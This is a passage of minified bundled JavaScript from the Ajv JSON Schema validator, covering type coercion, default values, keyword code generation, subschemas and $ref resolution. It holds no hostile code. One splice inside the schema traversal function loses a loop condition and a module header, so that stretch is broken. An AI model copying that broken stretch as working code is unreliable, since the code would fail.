schema",data:d,schema:!1,schemaCode:!1,schemaValue:!1,params:{},it:c};(0,e.reportError)(f,a,void 0,u)}}),Z1=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.getRules=t.isJSONType=void 0;var e=["string","number","integer","boolean","null","object","array"],r=new Set(e);function n(s){return typeof s=="string"&&r.has(s)}t.isJSONType=n;function a(){let s={number:{type:"number",rules:[]},string:{type:"string",rules:[]},array:{type:"array",rules:[]},object:{type:"object",rules:[]}};return{types:{...s,integer:!0,boolean:!0,null:!0},rules:[{rules:[]},s.number,s.string,s.array,s.object],post:{rules:[]},all:{},keywords:{}}}t.getRules=a}),G1=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.shouldUseRule=t.shouldUseGroup=t.schemaHasRulesForType=void 0;function e({schema:a,self:s},i){let o=s.RULES.types[i];return o&&o!==!0&&r(a,o)}t.schemaHasRulesForType=e;function r(a,s){return s.rules.some(i=>n(a,i))}t.shouldUseGroup=r;function n(a,s){var i;return a[s.keyword]!==void 0||((i=s.definition.implements)===null||i===void 0?void 0:i.some(o=>a[o]!==void 0))}t.shouldUseRule=n}),Gu=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.reportTypeError=t.checkDataTypes=t.checkDataType=t.coerceAndCheckDataType=t.getJSONTypes=t.getSchemaTypes=t.DataType=void 0;var e=Z1(),r=G1(),n=rl(),a=Be(),s=Xe(),i;(function(v){v[v.Correct=0]="Correct",v[v.Wrong=1]="Wrong"})(i||(t.DataType=i={}));function o(v){let _=c(v.type);if(_.includes("null")){if(v.nullable===!1)throw new Error("type: null contradicts nullable: false")}else{if(!_.length&&v.nullable!==void 0)throw new Error('"nullable" cannot be used without "type"');v.nullable===!0&&_.push("null")}return _}t.getSchemaTypes=o;function c(v){let _=Array.isArray(v)?v:v?[v]:[];if(_.every(e.isJSONType))return _;throw new Error("type must be JSONType or JSONType[]: "+_.join(","))}t.getJSONTypes=c;function u(v,_){let{gen:S,data:x,opts:E}=v,T=d(_,E.coerceTypes),$=_.length>0&&!(T.length===0&&_.length===1&&(0,r.schemaHasRulesForType)(v,_[0]));if($){let N=b(_,x,E.strictNumbers,i.Wrong);S.if(N,()=>{T.length?f(v,_,T):h(v)})}return $}t.coerceAndCheckDataType=u;var l=new Set(["string","number","integer","boolean","null"]);function d(v,_){return _?v.filter(S=>l.has(S)||_==="array"&&S==="array"):[]}function f(v,_,S){let{gen:x,data:E,opts:T}=v,$=x.let("dataType",(0,a._)`typeof ${E}`),N=x.let("coerced",(0,a._)`undefined`);T.coerceTypes==="array"&&x.if((0,a._)`${$} == 'object' && Array.isArray(${E}) && ${E}.length == 1`,()=>x.assign(E,(0,a._)`${E}[0]`).assign($,(0,a._)`typeof ${E}`).if(b(_,E,T.strictNumbers),()=>x.assign(N,E))),x.if((0,a._)`${N} !== undefined`);for(let q of S)(l.has(q)||q==="array"&&T.coerceTypes==="array")&&j(q);x.else(),h(v),x.endIf(),x.if((0,a._)`${N} !== undefined`,()=>{x.assign(E,N),m(v,N)});function j(q){switch(q){case"string":x.elseIf((0,a._)`${$} == "number" || ${$} == "boolean"`).assign(N,(0,a._)`"" + ${E}`).elseIf((0,a._)`${E} === null`).assign(N,(0,a._)`""`);return;case"number":x.elseIf((0,a._)`${$} == "boolean" || ${E} === null + || (${$} == "string" && ${E} && ${E} == +${E})`).assign(N,(0,a._)`+${E}`);return;case"integer":x.elseIf((0,a._)`${$} === "boolean" || ${E} === null + || (${$} === "string" && ${E} && ${E} == +${E} && !(${E} % 1))`).assign(N,(0,a._)`+${E}`);return;case"boolean":x.elseIf((0,a._)`${E} === "false" || ${E} === 0 || ${E} === null`).assign(N,!1).elseIf((0,a._)`${E} === "true" || ${E} === 1`).assign(N,!0);return;case"null":x.elseIf((0,a._)`${E} === "" || ${E} === 0 || ${E} === false`),x.assign(N,null);return;case"array":x.elseIf((0,a._)`${$} === "string" || ${$} === "number" + || ${$} === "boolean" || ${E} === null`).assign(N,(0,a._)`[${E}]`)}}}function m({gen:v,parentData:_,parentDataProperty:S},x){v.if((0,a._)`${_} !== undefined`,()=>v.assign((0,a._)`${_}[${S}]`,x))}function g(v,_,S,x=i.Correct){let E=x===i.Correct?a.operators.EQ:a.operators.NEQ,T;switch(v){case"null":return(0,a._)`${_} ${E} null`;case"array":T=(0,a._)`Array.isArray(${_})`;break;case"object":T=(0,a._)`${_} && typeof ${_} == "object" && !Array.isArray(${_})`;break;case"integer":T=$((0,a._)`!(${_} % 1) && !isNaN(${_})`);break;case"number":T=$();break;default:return(0,a._)`typeof ${_} ${E} ${v}`}return x===i.Correct?T:(0,a.not)(T);function $(N=a.nil){return(0,a.and)((0,a._)`typeof ${_} == "number"`,N,S?(0,a._)`isFinite(${_})`:a.nil)}}t.checkDataType=g;function b(v,_,S,x){if(v.length===1)return g(v[0],_,S,x);let E,T=(0,s.toHash)(v);if(T.array&&T.object){let $=(0,a._)`typeof ${_} != "object"`;E=T.null?$:(0,a._)`!${_} || ${$}`,delete T.null,delete T.array,delete T.object}else E=a.nil;T.number&&delete T.integer;for(let $ in T)E=(0,a.and)(E,g($,_,S,x));return E}t.checkDataTypes=b;var p={message:({schema:v})=>`must be ${v}`,params:({schema:v,schemaValue:_})=>typeof v=="string"?(0,a._)`{type: ${v}}`:(0,a._)`{type: ${_}}`};function h(v){let _=y(v);(0,n.reportError)(_,p)}t.reportTypeError=h;function y(v){let{gen:_,data:S,schema:x}=v,E=(0,s.schemaRefOrVal)(v,x,"type");return{gen:_,keyword:"type",data:S,schema:x.type,schemaCode:E,schemaValue:E,parentSchema:x,params:{},it:v}}}),vq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.assignDefaults=void 0;var e=Be(),r=Xe();function n(s,i){let{properties:o,items:c}=s.schema;if(i==="object"&&o)for(let u in o)a(s,u,o[u].default);else i==="array"&&Array.isArray(c)&&c.forEach((u,l)=>a(s,l,u.default))}t.assignDefaults=n;function a(s,i,o){let{gen:c,compositeRule:u,data:l,opts:d}=s;if(o===void 0)return;let f=(0,e._)`${l}${(0,e.getProperty)(i)}`;if(u){(0,r.checkStrictMode)(s,`default is ignored for: ${f}`);return}let m=(0,e._)`${f} === undefined`;d.useDefaults==="empty"&&(m=(0,e._)`${m} || ${f} === null || ${f} === ""`),c.if(m,(0,e._)`${f} = ${(0,e.stringify)(o)}`)}}),zr=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateUnion=t.validateArray=t.usePattern=t.callValidateCode=t.schemaProperties=t.allSchemaProperties=t.noPropertyInData=t.propertyInData=t.isOwnProperty=t.hasPropFunc=t.reportMissingProp=t.checkMissingProp=t.checkReportMissingProp=void 0;var e=Be(),r=Xe(),n=Va(),a=Xe();function s(v,_){let{gen:S,data:x,it:E}=v;S.if(d(S,x,_,E.opts.ownProperties),()=>{v.setParams({missingProperty:(0,e._)`${_}`},!0),v.error()})}t.checkReportMissingProp=s;function i({gen:v,data:_,it:{opts:S}},x,E){return(0,e.or)(...x.map(T=>(0,e.and)(d(v,_,T,S.ownProperties),(0,e._)`${E} = ${T}`)))}t.checkMissingProp=i;function o(v,_){v.setParams({missingProperty:_},!0),v.error()}t.reportMissingProp=o;function c(v){return v.scopeValue("func",{ref:Object.prototype.hasOwnProperty,code:(0,e._)`Object.prototype.hasOwnProperty`})}t.hasPropFunc=c;function u(v,_,S){return(0,e._)`${c(v)}.call(${_}, ${S})`}t.isOwnProperty=u;function l(v,_,S,x){let E=(0,e._)`${_}${(0,e.getProperty)(S)} !== undefined`;return x?(0,e._)`${E} && ${u(v,_,S)}`:E}t.propertyInData=l;function d(v,_,S,x){let E=(0,e._)`${_}${(0,e.getProperty)(S)} === undefined`;return x?(0,e.or)(E,(0,e.not)(u(v,_,S))):E}t.noPropertyInData=d;function f(v){return v?Object.keys(v).filter(_=>_!=="__proto__"):[]}t.allSchemaProperties=f;function m(v,_){return f(_).filter(S=>!(0,r.alwaysValidSchema)(v,_[S]))}t.schemaProperties=m;function g({schemaCode:v,data:_,it:{gen:S,topSchemaRef:x,schemaPath:E,errorPath:T},it:$},N,j,q){let H=q?(0,e._)`${v}, ${_}, ${x}${E}`:_,A=[[n.default.instancePath,(0,e.strConcat)(n.default.instancePath,T)],[n.default.parentData,$.parentData],[n.default.parentDataProperty,$.parentDataProperty],[n.default.rootData,n.default.rootData]];$.opts.dynamicRef&&A.push([n.default.dynamicAnchors,n.default.dynamicAnchors]);let W=(0,e._)`${H}, ${S.object(...A)}`;return j!==e.nil?(0,e._)`${N}.call(${j}, ${W})`:(0,e._)`${N}(${W})`}t.callValidateCode=g;var b=(0,e._)`new RegExp`;function p({gen:v,it:{opts:_}},S){let x=_.unicodeRegExp?"u":"",{regExp:E}=_.code,T=E(S,x);return v.scopeValue("pattern",{key:T.toString(),ref:T,code:(0,e._)`${E.code==="new RegExp"?b:(0,a.useFunc)(v,E)}(${S}, ${x})`})}t.usePattern=p;function h(v){let{gen:_,data:S,keyword:x,it:E}=v,T=_.name("valid");if(E.allErrors){let N=_.let("valid",!0);return $(()=>_.assign(N,!1)),N}return _.var(T,!0),$(()=>_.break()),T;function $(N){let j=_.const("len",(0,e._)`${S}.length`);_.forRange("i",0,j,q=>{v.subschema({keyword:x,dataProp:q,dataPropType:r.Type.Num},T),_.if((0,e.not)(T),N)})}}t.validateArray=h;function y(v){let{gen:_,schema:S,keyword:x,it:E}=v;if(!Array.isArray(S))throw new Error("ajv implementation error");if(S.some(j=>(0,r.alwaysValidSchema)(E,j))&&!E.opts.unevaluated)return;let $=_.let("valid",!1),N=_.name("_valid");_.block(()=>S.forEach((j,q)=>{let H=v.subschema({keyword:x,schemaProp:q,compositeRule:!0},N);_.assign($,(0,e._)`${$} || ${N}`),v.mergeValidEvaluated(H,N)||_.if((0,e.not)($))})),v.result($,()=>v.reset(),()=>v.error(!0))}t.validateUnion=y}),gq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.validateKeywordUsage=t.validSchemaType=t.funcKeywordCode=t.macroKeywordCode=void 0;var e=Be(),r=Va(),n=zr(),a=rl();function s(m,g){let{gen:b,keyword:p,schema:h,parentSchema:y,it:v}=m,_=g.macro.call(v.self,h,y,v),S=l(b,p,_);v.opts.validateSchema!==!1&&v.self.validateSchema(_,!0);let x=b.name("valid");m.subschema({schema:_,schemaPath:e.nil,errSchemaPath:`${v.errSchemaPath}/${p}`,topSchemaRef:S,compositeRule:!0},x),m.pass(x,()=>m.error(!0))}t.macroKeywordCode=s;function i(m,g){var b;let{gen:p,keyword:h,schema:y,parentSchema:v,$data:_,it:S}=m;u(S,g);let x=!_&&g.compile?g.compile.call(S.self,y,v,S):g.validate,E=l(p,h,x),T=p.let("valid");m.block$data(T,$),m.ok((b=g.valid)!==null&&b!==void 0?b:T);function $(){if(g.errors===!1)q(),g.modifying&&o(m),H(()=>m.error());else{let A=g.async?N():j();g.modifying&&o(m),H(()=>c(m,A))}}function N(){let A=p.let("ruleErrs",null);return p.try(()=>q((0,e._)`await `),W=>p.assign(T,!1).if((0,e._)`${W} instanceof ${S.ValidationError}`,()=>p.assign(A,(0,e._)`${W}.errors`),()=>p.throw(W))),A}function j(){let A=(0,e._)`${E}.errors`;return p.assign(A,null),q(e.nil),A}function q(A=g.async?(0,e._)`await `:e.nil){let W=S.opts.passContext?r.default.this:r.default.self,oe=!("compile"in g&&!_||g.schema===!1);p.assign(T,(0,e._)`${A}${(0,n.callValidateCode)(m,E,W,oe)}`,g.modifying)}function H(A){var W;p.if((0,e.not)((W=g.valid)!==null&&W!==void 0?W:T),A)}}t.funcKeywordCode=i;function o(m){let{gen:g,data:b,it:p}=m;g.if(p.parentData,()=>g.assign(b,(0,e._)`${p.parentData}[${p.parentDataProperty}]`))}function c(m,g){let{gen:b}=m;b.if((0,e._)`Array.isArray(${g})`,()=>{b.assign(r.default.vErrors,(0,e._)`${r.default.vErrors} === null ? ${g} : ${r.default.vErrors}.concat(${g})`).assign(r.default.errors,(0,e._)`${r.default.vErrors}.length`),(0,a.extendErrors)(m)},()=>m.error())}function u({schemaEnv:m},g){if(g.async&&!m.$async)throw new Error("async keyword in sync schema")}function l(m,g,b){if(b===void 0)throw new Error(`keyword "${g}" failed to compile`);return m.scopeValue("keyword",typeof b=="function"?{ref:b}:{ref:b,code:(0,e.stringify)(b)})}function d(m,g,b=!1){return!g.length||g.some(p=>p==="array"?Array.isArray(m):p==="object"?m&&typeof m=="object"&&!Array.isArray(m):typeof m==p||b&&typeof m>"u")}t.validSchemaType=d;function f({schema:m,opts:g,self:b,errSchemaPath:p},h,y){if(Array.isArray(h.keyword)?!h.keyword.includes(y):h.keyword!==y)throw new Error("ajv implementation error");let v=h.dependencies;if(v?.some(_=>!Object.prototype.hasOwnProperty.call(m,_)))throw new Error(`parent schema must have dependencies of ${y}: ${v.join(",")}`);if(h.validateSchema&&!h.validateSchema(m[y])){let S=`keyword "${y}" value is invalid at path "${p}": `+b.errorsText(h.validateSchema.errors);if(g.validateSchema==="log")b.logger.error(S);else throw new Error(S)}}t.validateKeywordUsage=f}),yq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.extendSubschemaMode=t.extendSubschemaData=t.getSubschema=void 0;var e=Be(),r=Xe();function n(i,{keyword:o,schemaProp:c,schema:u,schemaPath:l,errSchemaPath:d,topSchemaRef:f}){if(o!==void 0&&u!==void 0)throw new Error('both "keyword" and "schema" passed, only one allowed');if(o!==void 0){let m=i.schema[o];return c===void 0?{schema:m,schemaPath:(0,e._)`${i.schemaPath}${(0,e.getProperty)(o)}`,errSchemaPath:`${i.errSchemaPath}/${o}`}:{schema:m[c],schemaPath:(0,e._)`${i.schemaPath}${(0,e.getProperty)(o)}${(0,e.getProperty)(c)}`,errSchemaPath:`${i.errSchemaPath}/${o}/${(0,r.escapeFragment)(c)}`}}if(u!==void 0){if(l===void 0||d===void 0||f===void 0)throw new Error('"schemaPath", "errSchemaPath" and "topSchemaRef" are required with "schema"');return{schema:u,schemaPath:l,topSchemaRef:f,errSchemaPath:d}}throw new Error('either "keyword" or "schema" must be passed')}t.getSubschema=n;function a(i,o,{dataProp:c,dataPropType:u,data:l,dataTypes:d,propertyName:f}){if(l!==void 0&&c!==void 0)throw new Error('both "data" and "dataProp" passed, only one allowed');let{gen:m}=o;if(c!==void 0){let{errorPath:b,dataPathArr:p,opts:h}=o,y=m.let("data",(0,e._)`${o.data}${(0,e.getProperty)(c)}`,!0);g(y),i.errorPath=(0,e.str)`${b}${(0,r.getErrorPath)(c,u,h.jsPropertySyntax)}`,i.parentDataProperty=(0,e._)`${c}`,i.dataPathArr=[...p,i.parentDataProperty]}if(l!==void 0){let b=l instanceof e.Name?l:m.let("data",l,!0);g(b),f!==void 0&&(i.propertyName=f)}d&&(i.dataTypes=d);function g(b){i.data=b,i.dataLevel=o.dataLevel+1,i.dataTypes=[],o.definedProperties=new Set,i.parentData=o.data,i.dataNames=[...o.dataNames,b]}}t.extendSubschemaData=a;function s(i,{jtdDiscriminator:o,jtdMetadata:c,compositeRule:u,createErrors:l,allErrors:d}){u!==void 0&&(i.compositeRule=u),l!==void 0&&(i.createErrors=l),d!==void 0&&(i.allErrors=d),i.jtdDiscriminator=o,i.jtdMetadata=c}t.extendSubschemaMode=s}),al=Q((t,e)=>{e.exports=function r(n,a){if(n===a)return!0;if(n&&a&&typeof n=="object"&&typeof a=="object"){if(n.constructor!==a.constructor)return!1;var s,i,o;if(Array.isArray(n)){if(s=n.length,s!=a.length)return!1;for(i=s;i--!==0;)if(!r(n[i],a[i]))return!1;return!0}if(n.constructor===RegExp)return n.source===a.source&&n.flags===a.flags;if(n.valueOf!==Object.prototype.valueOf)return n.valueOf()===a.valueOf();if(n.toString!==Object.prototype.toString)return n.toString()===a.toString();if(o=Object.keys(n),s=o.length,s!==Object.keys(a).length)return!1;for(i=s;i--!==0;)if(!Object.prototype.hasOwnProperty.call(a,o[i]))return!1;for(i=s;i--!==0;){var c=o[i];if(!r(n[c],a[c]))return!1}return!0}return n!==n&&a!==a}}),_q=Q((t,e)=>{var r=e.exports=function(s,i,o){typeof i=="function"&&(o=i,i={}),o=i.cb||o;var c=typeof o=="function"?o:o.pre||function(){},u=o.post||function(){};n(i,c,u,s,"",s)};r.keywords={additionalItems:!0,items:!0,contains:!0,additionalProperties:!0,propertyNames:!0,not:!0,if:!0,then:!0,else:!0},r.arrayKeywords={items:!0,allOf:!0,anyOf:!0,oneOf:!0},r.propsKeywords={$defs:!0,definitions:!0,properties:!0,patternProperties:!0,dependencies:!0},r.skipKeywords={default:!0,enum:!0,const:!0,required:!0,maximum:!0,minimum:!0,exclusiveMaximum:!0,exclusiveMinimum:!0,multipleOf:!0,maxLength:!0,minLength:!0,pattern:!0,format:!0,maxItems:!0,minItems:!0,uniqueItems:!0,maxProperties:!0,minProperties:!0};function n(s,i,o,c,u,l,d,f,m,g){if(c&&typeof c=="object"&&!Array.isArray(c)){i(c,u,l,d,f,m,g);for(var b in c){var p=c[b];if(Array.isArray(p)){if(b in r.arrayKeywords)for(var h=0;h{Object.defineProperty(t,"__esModule",{value:!0}),t.getSchemaRefs=t.resolveUrl=t.normalizeId=t._getFullPath=t.getFullPath=t.inlineRef=void 0;var e=Xe(),r=al(),n=_q(),a=new Set(["type","format","pattern","maxLength","minLength","maxProperties","minProperties","maxItems","minItems","maximum","minimum","uniqueItems","multipleOf","required","enum","const"]);function s(p,h=!0){return typeof p=="boolean"?!0:h===!0?!o(p):h?c(p)<=h:!1}t.inlineRef=s;var i=new Set(["$ref","$recursiveRef","$recursiveAnchor","$dynamicRef","$dynamicAnchor"]);function o(p){for(let h in p){if(i.has(h))return!0;let y=p[h];if(Array.isArray(y)&&y.some(o)||typeof y=="object"&&o(y))return!0}return!1}function c(p){let h=0;for(let y in p){if(y==="$ref")return 1/0;if(h++,!a.has(y)&&(typeof p[y]=="object"&&(0,e.eachItem)(p[y],v=>h+=c(v)),h===1/0))return 1/0}return h}function u(p,h="",y){y!==!1&&(h=f(h));let v=p.parse(h);return l(p,v)}t.getFullPath=u;function l(p,h){return p.serialize(h).split("#")[0]+"#"}t._getFullPath=l;var d=/#\/?$/;function f(p){return p?p.replace(d,""):""}t.normalizeId=f;function m(p,h,y){return y=f(y),p.resolve(h,y)}t.resolveUrl=m;var g=/^[a-z_][-a-z0-9._]*$/i;function b(p,h){if(typeof p=="boolean")return{};let{schemaId:y,uriResolver:v}=this.opts,_=f(p[y]||h),S={"":_},x=u(v,_,!1),E={},T=new Set;return n(p,{allKeys:!0},(j,q,H,A)=>{if(A===void 0)return;let W=x+q,oe=S[A];typeof j[y]=="string"&&(oe=he.call(this,j[y])),ne.call(this,j.$anchor),ne.call(this,j.$dynamicAnchor),S[q]=oe;function he(re){let F=this.opts.uriResolver.resolve;if(re=f(oe?F(oe,re):re),T.has(re))throw N(re);T.add(re);let R=this.refs[re];return typeof R=="string"&&(R=this.refs[R]),typeof R=="object"?$(j,R.schema,re):re!==f(W)&&(re[0]==="#"?($(j,E[re],re),E[re]=j):this.refs[re]=W),re}function ne(re){if(typeof re=="string"){if(!g.test(re))throw new Error(`invalid anchor "${re}"`);he.call(this,`#${re}`)}}}),E;function $(j,q,H){if(q!==void 0&&!r(j,q))throw N(H)}function N(j){return new Error(`reference "${j}" resolves to more than one schema`)}}t.getSchemaRefs=b}),sl=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.getData=t.KeywordCxt=t.validateFunctionCode=void 0;var e=hq(),r=Gu(),n=G1(),a=Gu(),s=vq(),i=gq(),o=yq(),c=Be(),u=Va(),l=nl(),d=Xe(),f=rl();function m(O){if(x(O)&&(T(O),S(O))){h(O);return}g(O,()=>(0,e.topBoolOrEmptySchema)(O))}t.validateFunctionCode=m;function g({gen:O,validateName:C,schema:L,schemaEnv:G,opts:ee},ce){ee.code.es5?O.func(C,(0,c._)`${u.default.data}, ${u.default.valCxt}`,G.$async,()=>{O.code((0,c._)`"use strict"; ${v(L,ee)}`),p(O,ee),O.code(ce)}):O.func(C,(0,c._)`${u.default.data}, ${b(ee)}`,G.$async,()=>O.code(v(L,ee)).code(ce))}function b(O){return(0,c._)`{${u.default.instancePath}="", ${u.default.parentData}, ${u.default.parentDataProperty}, ${u.default.rootData}=${u.default.data}${O.dynamicRef?(0,c._)`, ${u.default.dynamicAnchors}={}`:c.nil}}={}`}function p(O,C){O.if(u.default.valCxt,()=>{O.var(u.default.instancePath,(0,c._)`${u.default.valCxt}.${u.default.instancePath}`),O.var(u.default.parentData,(0,c._)`${u.default.valCxt}.${u.default.parentData}`),O.var(u.default.parentDataProperty,(0,c._)`${u.default.valCxt}.${u.default.parentDataProperty}`),O.var(u.default.rootData,(0,c._)`${u.default.valCxt}.${u.default.rootData}`),C.dynamicRef&&O.var(u.default.dynamicAnchors,(0,c._)`${u.default.valCxt}.${u.default.dynamicAnchors}`)},()=>{O.var(u.default.instancePath,(0,c._)`""`),O.var(u.default.parentData,(0,c._)`undefined`),O.var(u.default.parentDataProperty,(0,c._)`undefined`),O.var(u.default.rootData,u.default.data),C.dynamicRef&&O.var(u.default.dynamicAnchors,(0,c._)`{}`)})}function h(O){let{schema:C,opts:L,gen:G}=O;g(O,()=>{L.$comment&&C.$comment&&A(O),j(O),G.let(u.default.vErrors,null),G.let(u.default.errors,0),L.unevaluated&&y(O),$(O),W(O)})}function y(O){let{gen:C,validateName:L}=O;O.evaluated=C.const("evaluated",(0,c._)`${L}.evaluated`),C.if((0,c._)`${O.evaluated}.dynamicProps`,()=>C.assign((0,c._)`${O.evaluated}.props`,(0,c._)`undefined`)),C.if((0,c._)`${O.evaluated}.dynamicItems`,()=>C.assign((0,c._)`${O.evaluated}.items`,(0,c._)`undefined`))}function v(O,C){let L=typeof O=="object"&&O[C.schemaId];return L&&(C.code.source||C.code.process)?(0,c._)`/*# sourceURL=${L} */`:c.nil}function _(O,C){if(x(O)&&(T(O),S(O))){E(O,C);return}(0,e.boolOrEmptySchema)(O,C)}function S({schema:O,self:C}){if(typeof O=="boolean")return!O;for(let L in O)if(C.RULES.all[L])return!0;return!1}function x(O){return typeof O.schema!="boolean"}function E(O,C){let{schema:L,gen:G,opts:ee}=O;ee.$comment&&L.$comment&&A(O),q(O),H(O);let ce=G.const("_errs",u.default.errors);$(O,ce),G.var(C,(0,c._)`${ce} === ${u.default.errors}`)}function T(O){(0,d.checkUnknownRules)(O),N(O)}function $(O,C){if(O.opts.jtd)return he(O,[],!1,C);let L=(0,r.getSchemaTypes)(O.schema),G=(0,r.coerceAndCheckDataType)(O,L);he(O,L,!G,C)}function N(O){let{schema:C,errSchemaPath:L,opts:G,self:ee}=O;C.$ref&&G.ignoreKeywordsWithRef&&(0,d.schemaHasRulesButRef)(C,ee.RULES)&&ee.logger.warn(`$ref: keywords ignored in schema at path "${L}"`)}function j(O){let{schema:C,opts:L}=O;C.default!==void 0&&L.useDefaults&&L.strictSchema&&(0,d.checkStrictMode)(O,"default is ignored in the schema root")}function q(O){let C=O.schema[O.opts.schemaId];C&&(O.baseId=(0,l.resolveUrl)(O.opts.uriResolver,O.baseId,C))}function H(O){if(O.schema.$async&&!O.schemaEnv.$async)throw new Error("async schema in sync schema")}function A({gen:O,schemaEnv:C,schema:L,errSchemaPath:G,opts:ee}){let ce=L.$comment;if(ee.$comment===!0)O.code((0,c._)`${u.default.self}.logger.log(${ce})`);else if(typeof ee.$comment=="function"){let Te=(0,c.str)`${G}/$comment`,Ie=O.scopeValue("root",{ref:C.root});O.code((0,c._)`${u.default.self}.opts.$comment(${ce}, ${Te}, ${Ie}.schema)`)}}function W(O){let{gen:C,schemaEnv:L,validateName:G,ValidationError:ee,opts:ce}=O;L.$async?C.if((0,c._)`${u.default.errors} === 0`,()=>C.return(u.default.data),()=>C.throw((0,c._)`new ${ee}(${u.default.vErrors})`)):(C.assign((0,c._)`${G}.errors`,u.default.vErrors),ce.unevaluated&&oe(O),C.return((0,c._)`${u.default.errors} === 0`))}function oe({gen:O,evaluated:C,props:L,items:G}){L instanceof c.Name&&O.assign((0,c._)`${C}.props`,L),G instanceof c.Name&&O.assign((0,c._)`${C}.items`,G)}function he(O,C,L,G){let{gen:ee,schema:ce,data:Te,allErrors:Ie,opts:Ae,self:Ne}=O,{RULES:ke}=Ne;if(ce.$ref&&(Ae.ignoreKeywordsWithRef||!(0,d.schemaHasRulesButRef)(ce,ke))){ee.block(()=>J(O,"$ref",ke.all.$ref.definition));return}Ae.jtd||re(O,C),ee.block(()=>{for(let Le of ke.rules)pt(Le);pt(ke.post)});function pt(Le){(0,n.shouldUseGroup)(ce,Le)&&(Le.type?(ee.if((0,a.checkDataType)(Le.type,Te,Ae.strictNumbers)),ne(O,Le),C.length===1&&C[0]===Le.type&&L&&(ee.else(),(0,a.reportTypeError)(O)),ee.endIf()):ne(O,Le),Ie||ee.if((0,c._)`${u.default.errors} === ${G||0}`))}}function ne(O,C){let{gen:L,schema:G,opts:{useDefaults:ee}}=O;ee&&(0,s.assignDefaults)(O,C.type),L.block(()=>{for(let ce of C.rules)(0,n.shouldUseRule)(G,ce)&&J(O,ce.keyword,ce.definition,C.type)})}function re(O,C){O.schemaEnv.meta||!O.opts.strictTypes||(F(O,C),O.opts.allowUnionTypes||R(O,C),z(O,O.dataTypes))}function F(O,C){if(C.length){if(!O.dataTypes.length){O.dataTypes=C;return}C.forEach(L=>{w(O.dataTypes,L)||M(O,`type "${L}" not allowed by context "${O.dataTypes.join(",")}"`)}),k(O,C)}}function R(O,C){C.length>1&&!(C.length===2&&C.includes("null"))&&M(O,"use allowUnionTypes to allow union type keyword")}function z(O,C){let L=O.self.RULES.all;for(let G in L){let ee=L[G];if(typeof ee=="object"&&(0,n.shouldUseRule)(O.schema,ee)){let{type:ce}=ee.definition;ce.length&&!ce.some(Te=>I(C,Te))&&M(O,`missing type "${ce.join(",")}" for keyword "${G}"`)}}}function I(O,C){return O.includes(C)||C==="number"&&O.includes("integer")}function w(O,C){return O.includes(C)||C==="integer"&&O.includes("number")}function k(O,C){let L=[];for(let G of O.dataTypes)w(C,G)?L.push(G):C.includes("integer")&&G==="number"&&L.push("integer");O.dataTypes=L}function M(O,C){let L=O.schemaEnv.baseId+O.errSchemaPath;C+=` at "${L}" (strictTypes)`,(0,d.checkStrictMode)(O,C,O.opts.strictTypes)}class K{constructor(C,L,G){if((0,i.validateKeywordUsage)(C,L,G),this.gen=C.gen,this.allErrors=C.allErrors,this.keyword=G,this.data=C.data,this.schema=C.schema[G],this.$data=L.$data&&C.opts.$data&&this.schema&&this.schema.$data,this.schemaValue=(0,d.schemaRefOrVal)(C,this.schema,G,this.$data),this.schemaType=L.schemaType,this.parentSchema=C.schema,this.params={},this.it=C,this.def=L,this.$data)this.schemaCode=C.gen.const("vSchema",me(this.$data,C));else if(this.schemaCode=this.schemaValue,!(0,i.validSchemaType)(this.schema,L.schemaType,L.allowUndefined))throw new Error(`${G} value must be ${JSON.stringify(L.schemaType)}`);("code"in L?L.trackErrors:L.errors!==!1)&&(this.errsCount=C.gen.const("_errs",u.default.errors))}result(C,L,G){this.failResult((0,c.not)(C),L,G)}failResult(C,L,G){this.gen.if(C),G?G():this.error(),L?(this.gen.else(),L(),this.allErrors&&this.gen.endIf()):this.allErrors?this.gen.endIf():this.gen.else()}pass(C,L){this.failResult((0,c.not)(C),void 0,L)}fail(C){if(C===void 0){this.error(),this.allErrors||this.gen.if(!1);return}this.gen.if(C),this.error(),this.allErrors?this.gen.endIf():this.gen.else()}fail$data(C){if(!this.$data)return this.fail(C);let{schemaCode:L}=this;this.fail((0,c._)`${L} !== undefined && (${(0,c.or)(this.invalid$data(),C)})`)}error(C,L,G){if(L){this.setParams(L),this._error(C,G),this.setParams({});return}this._error(C,G)}_error(C,L){(C?f.reportExtraError:f.reportError)(this,this.def.error,L)}$dataError(){(0,f.reportError)(this,this.def.$dataError||f.keyword$DataError)}reset(){if(this.errsCount===void 0)throw new Error('add "trackErrors" to keyword definition');(0,f.resetErrorsCount)(this.gen,this.errsCount)}ok(C){this.allErrors||this.gen.if(C)}setParams(C,L){L?Object.assign(this.params,C):this.params=C}block$data(C,L,G=c.nil){this.gen.block(()=>{this.check$data(C,G),L()})}check$data(C=c.nil,L=c.nil){if(!this.$data)return;let{gen:G,schemaCode:ee,schemaType:ce,def:Te}=this;G.if((0,c.or)((0,c._)`${ee} === undefined`,L)),C!==c.nil&&G.assign(C,!0),(ce.length||Te.validateSchema)&&(G.elseIf(this.invalid$data()),this.$dataError(),C!==c.nil&&G.assign(C,!1)),G.else()}invalid$data(){let{gen:C,schemaCode:L,schemaType:G,def:ee,it:ce}=this;return(0,c.or)(Te(),Ie());function Te(){if(G.length){if(!(L instanceof c.Name))throw new Error("ajv implementation error");let Ae=Array.isArray(G)?G:[G];return(0,c._)`${(0,a.checkDataTypes)(Ae,L,ce.opts.strictNumbers,a.DataType.Wrong)}`}return c.nil}function Ie(){if(ee.validateSchema){let Ae=C.scopeValue("validate$data",{ref:ee.validateSchema});return(0,c._)`!${Ae}(${L})`}return c.nil}}subschema(C,L){let G=(0,o.getSubschema)(this.it,C);(0,o.extendSubschemaData)(G,this.it,C),(0,o.extendSubschemaMode)(G,C);let ee={...this.it,...G,items:void 0,props:void 0};return _(ee,L),ee}mergeEvaluated(C,L){let{it:G,gen:ee}=this;G.opts.unevaluated&&(G.props!==!0&&C.props!==void 0&&(G.props=d.mergeEvaluated.props(ee,C.props,G.props,L)),G.items!==!0&&C.items!==void 0&&(G.items=d.mergeEvaluated.items(ee,C.items,G.items,L)))}mergeValidEvaluated(C,L){let{it:G,gen:ee}=this;if(G.opts.unevaluated&&(G.props!==!0||G.items!==!0))return 